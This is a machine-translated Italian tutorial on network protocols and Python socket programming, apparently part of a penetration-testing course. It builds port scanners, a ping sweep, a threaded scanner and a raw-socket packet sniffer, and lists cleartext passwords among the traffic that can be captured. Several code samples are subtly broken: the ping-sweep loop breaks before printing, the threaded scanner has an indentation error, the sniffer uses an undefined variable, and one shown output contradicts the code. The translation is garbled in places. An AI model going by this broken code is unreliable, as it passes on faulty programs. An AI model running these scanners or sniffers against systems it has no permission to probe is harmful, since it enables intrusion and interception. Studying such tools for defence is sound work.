Questi 8 bit sono divisi in due parti. I 6 bit più significativi vengono utilizzati per il tipo di servizio per indicare al router quali servizi dovrebbero essere forniti a questo pacchetto. I 2 bit meno significativi vengono utilizzati per la notifica di congestione esplicita (ECN).

Etichetta flusso (20 bit)

Questa etichetta viene utilizzata per mantenere il flusso sequenziale dei pacchetti appartenenti a una comunicazione. La sorgente etichetta la sequenza per aiutare il router a identificare che un particolare pacchetto appartiene a uno specifico flusso di informazioni. Questo campo aiuta a evitare il riordino dei pacchetti di dati. È progettato per lo streaming / media in tempo reale.

Lunghezza payload (16 bit)

Questo campo viene utilizzato per indicare ai router quante informazioni contiene un particolare pacchetto nel suo payload. Il carico utile è composto da intestazioni di estensione e dati di livello superiore. Con 16 bit si possono indicare fino a 65535 byte; ma se le intestazioni di estensione contengono un'intestazione di estensione hop-by-hop, il carico utile può superare i 65535 byte e questo campo è impostato su 0.

Intestazione successiva (8 bit)

O questo campo viene utilizzato per indicare il tipo di Extension Header oppure, se non è presente Extension Header, indica l'Upper Layer PDU. I valori per il tipo di PDU di livello superiore sono gli stessi di IPv4.

Hop Limit (8 bit)

Questo campo viene utilizzato per interrompere il ciclo continuo del pacchetto nella rete. Questo è lo stesso di TTL in IPv4. Il valore del campo Hop Limit viene decrementato di 1 quando passa un collegamento (router / hop). Quando il campo raggiunge 0, il pacchetto viene scartato.

Indirizzo sorgente (128 bit)

Questo campo indica l'indirizzo di origine del pacchetto.

Indirizzo di destinazione (128 bit)

Questo campo fornisce l'indirizzo del destinatario previsto del pacchetto.

Se vuoi studiare IPv6 in dettaglio, fai riferimento a questo link - www.tutorialspoint.com/ipv6/index.htm

Architettura dell'intestazione TCP (Transmission Control Protocol)

Come sappiamo, il TCP è un protocollo orientato alla connessione, in cui viene stabilita una sessione tra due sistemi prima di iniziare la comunicazione. La connessione verrebbe chiusa una volta completata la comunicazione. TCP utilizza una tecnica di handshake a tre vie per stabilire il socket di connessione tra due sistemi. L'handshake a tre vie significa che tre messaggi - SYN, SYN-ACK e ACK, vengono inviati avanti e indietro tra due sistemi. Le fasi di lavoro tra due sistemi, sistema iniziale e sistema di destinazione, sono le seguenti:

Step 1 − Packet with SYN flag set

Prima di tutto il sistema che sta tentando di avviare una connessione inizia con un pacchetto con il flag SYN impostato.

Step 2 − Packet with SYN-ACK flag set

Ora, in questa fase, il sistema di destinazione restituisce un pacchetto con i set di flag SYN e ACK.

Step 3 − Packet with ACK flag set

Alla fine, il sistema di avvio restituirà un pacchetto al sistema di destinazione originale con il flag ACK impostato.

Di seguito è riportato il diagramma dell'intestazione TCP insieme alla descrizione dei campi:

Porta sorgente (16 bit)

Identifica la porta di origine del processo di applicazione sul dispositivo di invio.

Porta di destinazione (16 bit)

Identifica la porta di destinazione del processo di applicazione sul dispositivo ricevente.

Numero di sequenza (32 bit)

Il numero di sequenza di byte di dati di un segmento in una sessione.

Numero di riconoscimento (32 bit)

Quando il flag ACK è impostato, questo numero contiene il numero di sequenza successivo del byte di dati previsto e funziona come riconoscimento dei dati ricevuti in precedenza.

Offset dati (4 bit)

Questo campo implica sia la dimensione dell'intestazione TCP (parole a 32 bit) sia l'offset dei dati nel pacchetto corrente nell'intero segmento TCP.

Riservato (3 bit)

Riservato per uso futuro e impostato su zero per impostazione predefinita.

Flag (1 bit ciascuno)

  • NS - Il processo di segnalazione della notifica di congestione esplicita utilizza questo bit Nonce Sum.

  • CWR - Quando un host riceve un pacchetto con il bit ECE impostato, imposta Congestion Windows Reduced per riconoscere che ECE ha ricevuto.

  • ECE - Ha due significati -

    • Se il bit SYN è chiaro a 0, ECE significa che il pacchetto IP ha il bit CE (esperienza di congestione) impostato.

    • Se il bit SYN è impostato su 1, ECE significa che il dispositivo è compatibile con ECT.

  • URG - Indica che il campo Puntatore urgente contiene dati significativi e deve essere elaborato.

  • ACK- Indica che il campo di riconoscimento ha un significato. Se ACK è azzerato, indica che il pacchetto non contiene alcun riconoscimento.

  • PSH - Quando è impostato, è una richiesta alla stazione ricevente per PUSH dati (non appena arrivano) all'applicazione ricevente senza buffering.

  • RST - Reset flag ha le seguenti caratteristiche:

    • Viene utilizzato per rifiutare una connessione in entrata.

    • Viene utilizzato per rifiutare un segmento.

    • Viene utilizzato per riavviare una connessione.

  • SYN - Questo flag viene utilizzato per impostare una connessione tra host.

  • FIN- Questo flag viene utilizzato per rilasciare una connessione e in seguito non vengono più scambiati dati. Poiché i pacchetti con flag SYN e FIN hanno numeri di sequenza, vengono elaborati nell'ordine corretto.

Dimensioni di Windows

Questo campo viene utilizzato per il controllo del flusso tra due stazioni e indica la quantità di buffer (in byte) che il ricevitore ha allocato per un segmento, ovvero la quantità di dati che il ricevitore si aspetta.

  • Checksum - Questo campo contiene il checksum di intestazione, dati e pseudo intestazioni.

  • Urgent Pointer - Punta al byte di dati urgenti se il flag URG è impostato a 1.

  • Options- Facilita le opzioni aggiuntive, che non sono coperte dalla normale intestazione. Il campo opzione è sempre descritto in parole a 32 bit. Se questo campo contiene dati inferiori a 32 bit, il riempimento viene utilizzato per coprire i bit rimanenti per raggiungere il limite di 32 bit.

Se vuoi studiare il TCP in dettaglio, fai riferimento a questo link - https://www.tutorialspoint.com/data_communication_computer_network/transmission_control_protocol.htm

L'architettura dell'intestazione UDP (User Datagram Protocol)

UDP è un semplice protocollo senza connessione a differenza di TCP, un protocollo orientato alla connessione. Implica una quantità minima di meccanismo di comunicazione. In UDP, il destinatario non genera un riconoscimento del pacchetto ricevuto e, a sua volta, il mittente non attende alcun riconoscimento del pacchetto inviato. Questa lacuna rende questo protocollo inaffidabile e più facile da elaborare. Di seguito è riportato il diagramma dell'intestazione UDP insieme alla descrizione dei campi:

Porta di origine

Queste informazioni a 16 bit vengono utilizzate per identificare la porta di origine del pacchetto.

Porto di destinazione

Queste informazioni a 16 bit vengono utilizzate per identificare il servizio a livello di applicazione sulla macchina di destinazione.

Lunghezza

Il campo della lunghezza specifica l'intera lunghezza del pacchetto UDP (inclusa l'intestazione). È un campo a 16 bit e il valore minimo è 8 byte, ovvero la dimensione dell'intestazione UDP stessa.

Checksum

Questo campo memorizza il valore di checksum generato dal mittente prima dell'invio. IPv4 ha questo campo come opzionale, quindi quando il campo checksum non contiene alcun valore, viene impostato a 0 e tutti i suoi bit sono impostati a zero.

Per studiare il protocollo TCP in dettaglio, fare riferimento a questo collegamento - User Datagram Protocol

I socket sono gli endpoint di un canale di comunicazione bidirezionale. Possono comunicare all'interno di un processo, tra processi sulla stessa macchina o tra processi su macchine diverse. In una nota simile, un socket di rete è un endpoint in un flusso di comunicazione tra due programmi in esecuzione su una rete di computer come Internet. È una cosa puramente virtuale e non significa alcun hardware. La presa di rete può essere identificata da una combinazione univoca di indirizzo IP e numero di porta. I socket di rete possono essere implementati su diversi tipi di canali come TCP, UDP e così via.

I diversi termini relativi alla presa utilizzata nella programmazione di rete sono i seguenti:

Dominio

Il dominio è la famiglia di protocolli utilizzata come meccanismo di trasporto. Questi valori sono costanti come AF_INET, PF_INET, PF_UNIX, PF_X25 e così via.

genere

Tipo indica il tipo di comunicazione tra due endpoint, in genere SOCK_STREAM per i protocolli orientati alla connessione e SOCK_DGRAM per i protocolli senza connessione.

Protocollo

Questo può essere utilizzato per identificare una variante di un protocollo all'interno di un dominio e tipo. Il suo valore predefinito è 0. Questo di solito viene omesso.

Nome host

Funziona come l'identificatore di un'interfaccia di rete. Un nome host può essere una stringa, un indirizzo quadruplo puntato o un indirizzo IPV6 in notazione con due punti (e possibilmente punto).

Porta

Ogni server ascolta i client che chiamano su una o più porte. Una porta può essere un numero di porta Fixnum, una stringa contenente un numero di porta o il nome di un servizio.

Modulo Socket di Python per la programmazione Socket

Per implementare la programmazione socket in Python, dobbiamo usare il modulo Socket. Di seguito è riportata una semplice sintassi per creare un Socket:

import socket
s = socket.socket (socket_family, socket_type, protocol = 0)

Qui, dobbiamo importare la libreria socket e quindi creare un semplice socket. Di seguito sono riportati i diversi parametri utilizzati durante la creazione del socket:

  • socket_family - Questo è AF_UNIX o AF_INET, come spiegato in precedenza.

  • socket_type - Questo è SOCK_STREAM o SOCK_DGRAM.

  • protocol - Questo di solito viene omesso, il valore predefinito è 0.

Metodi socket

In questa sezione, impareremo i diversi metodi socket. I tre diversi set di metodi socket sono descritti di seguito:

  • Metodi socket server
  • Metodi socket client
  • Metodi socket generali

Metodi socket server

Nell'architettura client-server, c'è un server centralizzato che fornisce il servizio e molti client ricevono il servizio da quel server centralizzato. I client eseguono anche la richiesta al server. Alcuni importanti metodi socket del server in questa architettura sono i seguenti:

  • socket.bind() - Questo metodo associa l'indirizzo (nome host, numero di porta) al socket.

  • socket.listen()- Questo metodo fondamentalmente ascolta le connessioni effettuate al socket. Avvia il listener TCP. Il backlog è un argomento di questo metodo che specifica il numero massimo di connessioni in coda. Il suo valore minimo è 0 e il valore massimo è 5.

  • socket.accept()- Questo accetterà la connessione client TCP. La coppia (conn, address) è la coppia del valore di ritorno di questo metodo. In questo caso conn è un nuovo oggetto socket utilizzato per inviare e ricevere dati sulla connessione e l'indirizzo è l'indirizzo associato al socket. Prima di utilizzare questo metodo, è necessario utilizzare il metodo socket.bind () e socket.listen ().

Metodi socket client

Il client nell'architettura client-server richiede il server e riceve i servizi dal server. Per questo, esiste un solo metodo dedicato ai clienti:

  • socket.connect(address)- questo metodo intima attivamente la connessione al server o in parole semplici questo metodo collega il client al server. L'argomento address rappresenta l'indirizzo del server.

Metodi socket generali

Oltre ai metodi socket client e server, ci sono alcuni metodi socket generali, che sono molto utili nella programmazione socket. I metodi socket generali sono i seguenti:

  • socket.recv(bufsize)- Come suggerisce il nome, questo metodo riceve il messaggio TCP dal socket. L'argomento bufsize sta per buffer size e definisce il numero massimo di dati che questo metodo può ricevere in qualsiasi momento.

  • socket.send(bytes)- Questo metodo viene utilizzato per inviare i dati al socket che è connesso alla macchina remota. L'argomento byte darà il numero di byte inviati al socket.

  • socket.recvfrom(data, address)- Questo metodo riceve i dati dal socket. Questo metodo restituisce un valore a due coppie (dati, indirizzo). Dati definisce i dati ricevuti e l'indirizzo specifica l'indirizzo del socket che invia i dati.

  • socket.sendto(data, address)- Come suggerisce il nome, questo metodo viene utilizzato per inviare dati dal socket. Questo metodo restituisce un valore a due coppie (dati, indirizzo). I dati definiscono il numero di byte inviati e l'indirizzo specifica l'indirizzo della macchina remota.

  • socket.close() - Questo metodo chiuderà il socket.

  • socket.gethostname() - Questo metodo restituirà il nome dell'host.

  • socket.sendall(data)- Questo metodo invia tutti i dati al socket che è connesso a una macchina remota. Trasferirà incautamente i dati fino a quando non si verifica un errore e se si verifica utilizza il metodo socket.close () per chiudere il socket.

Programma per stabilire una connessione tra server e client

Per stabilire una connessione tra server e client, dobbiamo scrivere due diversi programmi Python, uno per il server e l'altro per il client.

Programma lato server

In questo programma socket lato server, useremo il socket.bind()metodo che lo lega a uno specifico indirizzo IP e porta in modo che possa ascoltare le richieste in arrivo su quell'IP e quella porta. Successivamente, utilizziamo l'estensionesocket.listen()metodo che mette il server in modalità di ascolto. Il numero, diciamo 4, come argomento disocket.listen()significa che 4 connessioni vengono mantenute in attesa se il server è occupato e se un quinto socket tenta di connettersi, la connessione viene rifiutata. Invieremo un messaggio al cliente utilizzando il filesocket.send()metodo. Verso la fine, usiamo ilsocket.accept() e socket.close()metodo per avviare e chiudere la connessione rispettivamente. Di seguito è riportato un programma lato server:

import socket
def Main():
   host = socket.gethostname()
   port = 12345
   serversocket = socket.socket()
   serversocket.bind((host,port))
   serversocket.listen(1)
   print('socket is listening')
   
   while True:
      conn,addr = serversocket.accept()
      print("Got connection from %s" % str(addr))
      msg = 'Connecting Established'+ "\r\n"
      conn.send(msg.encode('ascii'))
      conn.close()
if __name__ == '__main__':
   Main()

Programma lato client

Nel programma socket lato client, dobbiamo creare un oggetto socket. Quindi ci collegheremo alla porta su cui è in esecuzione il nostro server - 12345 nel nostro esempio. Dopodiché stabiliremo una connessione utilizzando ilsocket.connect()metodo. Quindi utilizzando ilsocket.recv()metodo, il client riceverà il messaggio dal server. Alla fine, ilsocket.close() metodo chiuderà il client.

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

host = socket.gethostname()
port = 12345

s.connect((host, port))
msg = s.recv(1024)

s.close()
print (msg.decode('ascii'))

Ora, dopo aver eseguito il programma lato server, avremo il seguente output sul terminale:

socket is listening
Got connection from ('192.168.43.75', 49904)

E dopo aver eseguito il programma lato client, otterremo il seguente output su un altro terminale:

Connection Established

Gestione delle eccezioni relative ai socket di rete

Ci sono due blocchi vale a dire try e exceptche può essere utilizzato per gestire le eccezioni dei socket di rete. Di seguito è riportato uno script Python per la gestione delle eccezioni:

import socket
host = "192.168.43.75"
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

try:
   s.bind((host,port))
   s.settimeout(3)
   data, addr = s.recvfrom(1024)
   print ("recevied from ",addr)
   print ("obtained ", data)
   s.close()
except socket.timeout :
   print ("No connection between client and server")
   s.close()

Produzione

Il programma di cui sopra genera il seguente output:

No connection between client and server

Nello script precedente, prima abbiamo creato un oggetto socket. Questo è stato seguito fornendo l'indirizzo IP dell'host e il numero di porta su cui è in esecuzione il nostro server - 12345 nel nostro esempio. Successivamente, viene utilizzato il blocco try e al suo interno utilizzando ilsocket.bind()metodo, proveremo a collegare l'indirizzo IP e la porta. Stiamo usandosocket.settimeout()metodo per impostare il tempo di attesa per il client, nel nostro esempio stiamo impostando 3 secondi. Viene utilizzato il blocco di eccezione che stamperà un messaggio se la connessione non verrà stabilita tra server e client.

La scansione delle porte può essere definita come una tecnica di sorveglianza, utilizzata per individuare le porte aperte disponibili su un particolare host. L'amministratore di rete, il penetration tester o un hacker possono utilizzare questa tecnica. Possiamo configurare il port scanner in base alle nostre esigenze per ottenere il massimo delle informazioni dal sistema di destinazione.

Ora, considera le informazioni che possiamo ottenere dopo aver eseguito la scansione delle porte:

  • Informazioni sulle porte aperte.

  • Informazioni sui servizi in esecuzione su ciascuna porta.

  • Informazioni sul sistema operativo e l'indirizzo MAC dell'host di destinazione.

La scansione delle porte è proprio come un ladro che vuole entrare in una casa controllando ogni porta e finestra per vedere quali sono aperte. Come discusso in precedenza, la suite di protocolli TCP / IP, utilizzata per la comunicazione su Internet, è composta da due protocolli, ovvero TCP e UDP. Entrambi i protocolli hanno porte da 0 a 65535. Poiché è sempre consigliabile chiudere le porte non necessarie del nostro sistema, quindi essenzialmente, ci sono più di 65000 porte (porte) da bloccare. Queste 65535 porte possono essere suddivise nei seguenti tre intervalli:

  • Porte di sistema o note: da 0 a 1023

  • Porte utente o registrate: da 1024 a 49151

  • Porte dinamiche o private: tutte> 49151

Port Scanner utilizzando Socket

Nel nostro capitolo precedente, abbiamo discusso di cosa sia un socket. Ora costruiremo un semplice port scanner usando socket. Di seguito è riportato uno script Python per port scanner utilizzando socket -

from socket import *
import time
startTime = time.time()

if __name__ == '__main__':
   target = input('Enter the host to be scanned: ')
   t_IP = gethostbyname(target)
   print ('Starting scan on host: ', t_IP)
   
   for i in range(50, 500):
      s = socket(AF_INET, SOCK_STREAM)
      
      conn = s.connect_ex((t_IP, i))
      if(conn == 0) :
         print ('Port %d: OPEN' % (i,))
      s.close()
print('Time taken:', time.time() - startTime)

Quando eseguiamo lo script precedente, verrà richiesto il nome host, puoi fornire qualsiasi nome host come il nome di qualsiasi sito Web, ma fai attenzione perché la scansione delle porte può essere vista o interpretata come un crimine. Non dovremmo mai eseguire un port scanner su qualsiasi sito web o indirizzo IP senza un'esplicita autorizzazione scritta da parte del proprietario del server o del computer che stai prendendo di mira. La scansione delle porte è come andare a casa di qualcuno e controllarne porte e finestre. Questo è il motivo per cui è consigliabile utilizzare il port scanner su localhost o sul proprio sito Web (se presente).

Produzione

Lo script precedente genera il seguente output:

Enter the host to be scanned: localhost
Starting scan on host: 127.0.0.1
Port 135: OPEN
Port 445: OPEN
Time taken: 452.3990001678467

L'output mostra che nell'intervallo da 50 a 500 (come previsto nello script), questo port scanner ha trovato due porte: le porte 135 e 445, aperte. Possiamo modificare questo intervallo e verificare la presenza di altre porte.

Port Scanner utilizzando ICMP (host live in una rete)

ICMP non è una scansione delle porte ma viene utilizzata per eseguire il ping dell'host remoto per verificare se l'host è attivo. Questa scansione è utile quando dobbiamo controllare un numero di host live in una rete. Implica l'invio di una richiesta ECHO ICMP a un host e se tale host è attivo, restituirà una risposta ECHO ICMP.

Il processo di invio della richiesta ICMP di cui sopra è anche chiamato scansione ping, fornito dal comando ping del sistema operativo.

Concetto di Ping Sweep

In realtà in un senso o nell'altro, il ping sweep è anche noto come ping sweeping. L'unica differenza è che lo sweeping del ping è la procedura per trovare più di una disponibilità della macchina in un intervallo di rete specifico. Ad esempio, supponiamo di voler testare un elenco completo di indirizzi IP, quindi utilizzando la scansione ping, ovvero il comando ping del sistema operativo, sarebbe molto dispendioso in termini di tempo scansionare gli indirizzi IP uno per uno. Questo è il motivo per cui abbiamo bisogno di utilizzare lo script ping sweep. Di seguito è riportato uno script Python per trovare host live utilizzando lo sweep ping -

import os
import platform

from datetime import datetime
net = input("Enter the Network Address: ")
net1= net.split('.')
a = '.'

net2 = net1[0] + a + net1[1] + a + net1[2] + a
st1 = int(input("Enter the Starting Number: "))
en1 = int(input("Enter the Last Number: "))
en1 = en1 + 1
oper = platform.system()

if (oper == "Windows"):
   ping1 = "ping -n 1 "
elif (oper == "Linux"):
   ping1 = "ping -c 1 "
else :
   ping1 = "ping -c 1 "
t1 = datetime.now()
print ("Scanning in Progress:")

for ip in range(st1,en1):
   addr = net2 + str(ip)
   comm = ping1 + addr
   response = os.popen(comm)
   
   for line in response.readlines():
      if(line.count("TTL")):
         break
      if (line.count("TTL")):
         print (addr, "--> Live")
         
t2 = datetime.now()
total = t2 - t1
print ("Scanning completed in: ",total)

Lo script sopra funziona in tre parti. Per prima cosa seleziona l'intervallo di indirizzi IP per eseguire il ping di scansione di scansione suddividendolo in parti. Questo è seguito dall'uso della funzione, che selezionerà il comando per lo sweep del ping in base al sistema operativo, e per ultimo darà la risposta sull'host e sul tempo impiegato per completare il processo di scansione.

Produzione

Lo script precedente genera il seguente output:

Enter the Network Address: 127.0.0.1
Enter the Starting Number: 1
Enter the Last Number: 100

Scanning in Progress:
Scanning completed in: 0:00:02.711155

L'output precedente non mostra porte attive perché il firewall è attivo e anche le impostazioni ICMP in entrata sono disabilitate. Dopo aver modificato queste impostazioni, possiamo ottenere l'elenco delle porte attive nell'intervallo da 1 a 100 fornito nell'output.

Port Scanner tramite scansione TCP

Per stabilire una connessione TCP, l'host deve eseguire un handshake a tre vie. Segui questi passaggi per eseguire l'azione:

Step 1 − Packet with SYN flag set

In questo passaggio, il sistema che sta tentando di avviare una connessione inizia con un pacchetto con il flag SYN impostato.

Step 2 − Packet with SYN-ACK flag set

In questo passaggio, il sistema di destinazione restituisce un pacchetto con i set di flag SYN e ACK.

Step 3 − Packet with ACK flag set

Alla fine, il sistema di avvio restituirà un pacchetto al sistema di destinazione originale con il flag ACK impostato.

Tuttavia, la domanda che sorge qui è se possiamo eseguire la scansione delle porte utilizzando il metodo di richiesta e risposta echo ICMP (ping sweep scanner), allora perché abbiamo bisogno della scansione TCP? Il motivo principale alla base è che supponiamo che se disattiviamo la funzione di risposta ECHO ICMP o utilizziamo un firewall per i pacchetti ICMP, lo scanner ping sweep non funzionerà e abbiamo bisogno della scansione TCP.

import socket
from datetime import datetime
net = input("Enter the IP address: ")
net1 = net.split('.')
a = '.'

net2 = net1[0] + a + net1[1] + a + net1[2] + a
st1 = int(input("Enter the Starting Number: "))
en1 = int(input("Enter the Last Number: "))
en1 = en1 + 1
t1 = datetime.now()

def scan(addr):
   s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
   socket.setdefaulttimeout(1)
   result = s.connect_ex((addr,135))
   if result == 0:
      return 1
   else :
      return 0

def run1():
   for ip in range(st1,en1):
      addr = net2 + str(ip)
      if (scan(addr)):
         print (addr , "is live")
         
run1()
t2 = datetime.now()
total = t2 - t1
print ("Scanning completed in: " , total)

Lo script sopra funziona in tre parti. Seleziona l'intervallo di indirizzi IP per eseguire il ping di scansione di scansione suddividendolo in parti. Segue l'utilizzo di una funzione per la scansione dell'indirizzo, che utilizza ulteriormente il socket. Successivamente, fornisce la risposta sull'host e sul tempo impiegato per completare il processo di scansione. Il risultato = s. L'istruzione connect_ex ((addr, 135)) restituisce un indicatore di errore. L'indicatore di errore è 0 se l'operazione riesce, altrimenti è il valore della variabile errno. Qui abbiamo usato la porta 135; questo scanner funziona per il sistema Windows. Un'altra porta che funzionerà qui è 445 (Microsoft-DSActive Directory) e di solito è aperta.

Produzione

Lo script precedente genera il seguente output:

Enter the IP address: 127.0.0.1
Enter the Starting Number: 1
Enter the Last Number: 10

127.0.0.1 is live
127.0.0.2 is live
127.0.0.3 is live
127.0.0.4 is live
127.0.0.5 is live
127.0.0.6 is live
127.0.0.7 is live
127.0.0.8 is live
127.0.0.9 is live
127.0.0.10 is live
Scanning completed in: 0:00:00.230025

Port scanner filettato per aumentare l'efficienza

Come abbiamo visto nei casi precedenti, la scansione delle porte può essere molto lenta. Ad esempio, è possibile vedere il tempo impiegato per la scansione delle porte da 50 a 500, mentre si utilizza lo scanner per porte socket, è 452.3990001678467. Per migliorare la velocità possiamo usare il threading. Di seguito è riportato un esempio di port scanner che utilizza il threading:

import socket
import time
import threading

from queue import Queue
socket.setdefaulttimeout(0.25)
print_lock = threading.Lock()

target = input('Enter the host to be scanned: ')
t_IP = socket.gethostbyname(target)
print ('Starting scan on host: ', t_IP)

def portscan(port):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   try:
      con = s.connect((t_IP, port))
      with print_lock:
         print(port, 'is open')
      con.close()
   except:
      pass

def threader():
   while True:
      worker = q.get()
      portscan(worker)
      q.task_done()
      
q = Queue()
   startTime = time.time()
   
for x in range(100):
   t = threading.Thread(target = threader)
   t.daemon = True
   t.start()
   
for worker in range(1, 500):
   q.put(worker)
   
q.join()
print('Time taken:', time.time() - startTime)

Nello script sopra, dobbiamo importare il modulo di threading, che è integrato nel pacchetto Python. Stiamo usando il concetto di thread locking,thread_lock = threading.Lock()per evitare più modifiche alla volta. Fondamentalmente, threading.Lock () consentirà a un singolo thread di accedere alla variabile alla volta. Quindi, non si verifica una doppia modifica.

Successivamente, definiamo una funzione threader () che recupererà il lavoro (porta) dal ciclo worker for. Quindi viene chiamato il metodo portscan () per connettersi alla porta e stampare il risultato. Il numero di porta viene passato come parametro. Una volta completata l'attività, viene chiamato il metodo q.task_done ().

Ora, dopo aver eseguito lo script precedente, possiamo vedere la differenza di velocità per la scansione da 50 a 500 porte. Ci sono voluti solo 1.3589999675750732 secondi, che è molto meno di 452.3990001678467, tempo impiegato dallo scanner della porta socket per la scansione dello stesso numero di porte di localhost.

Produzione

Lo script precedente genera il seguente output:

Enter the host to be scanned: localhost
Starting scan on host: 127.0.0.1
135 is open
445 is open
Time taken: 1.3589999675750732

Lo sniffing o lo sniffing dei pacchetti di rete è il processo di monitoraggio e acquisizione di tutti i pacchetti che passano attraverso una data rete utilizzando strumenti di sniffing. È una forma in cui possiamo "toccare i fili del telefono" e conoscere la conversazione. È anche chiamatowiretapping e può essere applicato alle reti di computer.

Ci sono così tante possibilità che se una serie di porte dello switch aziendale è aperta, uno dei loro dipendenti può fiutare l'intero traffico della rete. Chiunque si trovi nella stessa posizione fisica può collegarsi alla rete utilizzando un cavo Ethernet o connettersi in modalità wireless a quella rete e annusare il traffico totale.

In altre parole, lo sniffing ti consente di vedere tutti i tipi di traffico, sia protetto che non protetto. Nelle giuste condizioni e con i protocolli giusti, una parte attaccante potrebbe essere in grado di raccogliere informazioni che possono essere utilizzate per ulteriori attacchi o per causare altri problemi alla rete o al proprietario del sistema.

Cosa si può annusare?

Si possono annusare le seguenti informazioni sensibili da una rete:

  • Traffico e-mail
  • Password FTP
  • Traffico web
  • Password Telnet
  • Configurazione del router
  • Sessioni di chat
  • Traffico DNS

Come funziona lo sniffing?

Uno sniffer normalmente trasforma la NIC del sistema in modalità promiscua in modo che ascolti tutti i dati trasmessi sul suo segmento.

La modalità promiscua si riferisce al modo unico dell'hardware Ethernet, in particolare, le schede di interfaccia di rete (NIC), che consente a un NIC di ricevere tutto il traffico sulla rete, anche se non è indirizzato a questo NIC. Per impostazione predefinita, una scheda NIC ignora tutto il traffico non indirizzato ad essa, il che viene eseguito confrontando l'indirizzo di destinazione del pacchetto Ethernet con l'indirizzo hardware (MAC) del dispositivo. Sebbene ciò abbia perfettamente senso per il networking, la modalità non promiscua rende difficile utilizzare il monitoraggio della rete e il software di analisi per diagnosticare problemi di connettività o contabilità del traffico.

Uno sniffer può monitorare continuamente tutto il traffico verso un computer attraverso la NIC decodificando le informazioni incapsulate nei pacchetti di dati.

Tipi di annusare

Lo sniffing può essere di natura attiva o passiva. Ora impareremo i diversi tipi di sniffing.

Sniffing passivo

Nello sniffing passivo il traffico è bloccato ma non viene alterato in alcun modo. Lo sniffing passivo consente solo l'ascolto. Funziona con i dispositivi Hub. Su un dispositivo hub, il traffico viene inviato a tutte le porte. In una rete che utilizza hub per connettere i sistemi, tutti gli host sulla rete possono vedere il traffico. Pertanto, un utente malintenzionato può facilmente acquisire il traffico in transito.

La buona notizia è che gli hub sono diventati quasi obsoleti negli ultimi tempi. La maggior parte delle reti moderne utilizza interruttori. Quindi, lo sniffing passivo non è più efficace.

Sniffing attivo

Nello sniffing attivo, il traffico non è solo bloccato e monitorato, ma può anche essere alterato in qualche modo come determinato dall'attacco. Lo sniffing attivo viene utilizzato per rilevare una rete basata su switch. Implica l'iniezione di pacchetti di risoluzione degli indirizzi (ARP) in una rete di destinazione per riempire la tabella CAM (Switch Content Addressable Memory). CAM tiene traccia di quale host è connesso a quale porta.

Di seguito sono riportate le tecniche di sniffing attivo:

  • MAC Flooding
  • Attacchi DHCP
  • Avvelenamento da DNS
  • Attacchi di spoofing
  • Avvelenamento da ARP

Gli effetti dello sniffing sui protocolli

Protocolli come tried and true TCP/IPnon sono mai stati progettati pensando alla sicurezza. Tali protocolli non offrono molta resistenza a potenziali intrusi. Di seguito sono riportati i diversi protocolli che si prestano a un facile sniffing:

HTTP

Viene utilizzato per inviare informazioni in testo chiaro senza alcuna crittografia e quindi un vero obiettivo.

SMTP (Simple Mail Transfer Protocol)

L'SMTP viene utilizzato nel trasferimento delle e-mail. Questo protocollo è efficiente, ma non include alcuna protezione contro lo sniffing.

NNTP (Network News Transfer Protocol)

Viene utilizzato per tutti i tipi di comunicazione. Uno dei principali svantaggi di questo è che i dati e persino le password vengono inviati sulla rete come testo in chiaro.

POP (Post Office Protocol)

POP è strettamente utilizzato per ricevere e-mail dai server. Questo protocollo non include la protezione contro lo sniffing perché può essere intrappolato.

FTP (File Transfer Protocol)

FTP viene utilizzato per inviare e ricevere file, ma non offre alcuna funzionalità di sicurezza. Tutti i dati vengono inviati come testo in chiaro che può essere facilmente fiutato.

IMAP (Internet Message Access Protocol)

IMAP è uguale a SMTP nelle sue funzioni, ma è altamente vulnerabile allo sniffing.

Telnet

Telnet invia tutto (nomi utente, password, sequenze di tasti) sulla rete come testo in chiaro e, quindi, può essere facilmente intercettato.

Gli sniffer non sono le utilità stupide che ti consentono di visualizzare solo il traffico in tempo reale. Se vuoi davvero analizzare ogni pacchetto, salva l'acquisizione e rivedila quando il tempo lo consente.

Implementazione tramite Python

Prima di implementare lo sniffer di socket raw, comprendiamo il file struct metodo come descritto di seguito -

struct.pack (fmt, a1, a2, ...)

Come suggerisce il nome, questo metodo viene utilizzato per restituire la stringa, che viene compressa in base al formato specificato. La stringa contiene i valori a1, a2 e così via.

struct.unpack (fmt, string)

Come suggerisce il nome, questo metodo decomprime la stringa in base a un determinato formato.

Nel seguente esempio di intestazione IP dello sniffer di socket non elaborato, che è i prossimi 20 byte nel pacchetto e tra questi 20 byte siamo interessati agli ultimi 8 byte. Gli ultimi byte mostrano se l'indirizzo IP di origine e quello di destinazione stanno analizzando -

Ora, dobbiamo importare alcuni moduli di base come segue:

import socket
import struct
import binascii

Ora creeremo un socket, che avrà tre parametri. Il primo parametro ci parla dell'interfaccia del pacchetto - PF_PACKET per Linux specifico e AF_INET per Windows; il secondo parametro ci dice che si tratta di un socket grezzo e il terzo parametro ci dice del protocollo che ci interessa —0x0800 utilizzato per il protocollo IP.

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))

Ora dobbiamo chiamare il file recvfrom() metodo per ricevere il pacchetto.

while True:
   packet = s.recvfrom(2048)

Nella seguente riga di codice, stiamo copiando l'intestazione Ethernet -

ethernet_header = packet[0][0:14]

Con la seguente riga di codice, stiamo analizzando e decomprimendo l'intestazione con l'estensione struct metodo -

eth_header = struct.unpack("!6s6s2s", ethernet_header)

La seguente riga di codice restituirà una tupla con tre valori esadecimali, convertiti da hexify nel binascii modulo -

print "Destination MAC:" + binascii.hexlify(eth_header[0]) + " Source MAC:" + binascii.hexlify(eth_header[1]) + " Type:" + binascii.hexlify(eth_header[2])

Ora possiamo ottenere l'intestazione IP eseguendo la seguente riga di codice:

ipheader = pkt[0][14:34]
ip_header = struct.unpack("!12s4s4s", ipheader)
print "Source IP:" + socket.inet_ntoa(ip_header[1]) + " Destination IP:" + socket.inet_ntoa(ip_header[2])

Allo stesso modo, possiamo anche analizzare l'intestazione TCP.

ARP può essere definito come un protocollo senza stato utilizzato per mappare gli indirizzi IP (Internet Protocol) agli indirizzi di una macchina fisica.

Funzionamento di ARP

In questa sezione impareremo il funzionamento di ARP. Considera i seguenti passaggi per capire come funziona ARP:

  • Step 1 - Innanzitutto, quando una macchina vuole comunicare con un'altra, deve cercare l'indirizzo fisico nella sua tabella ARP.

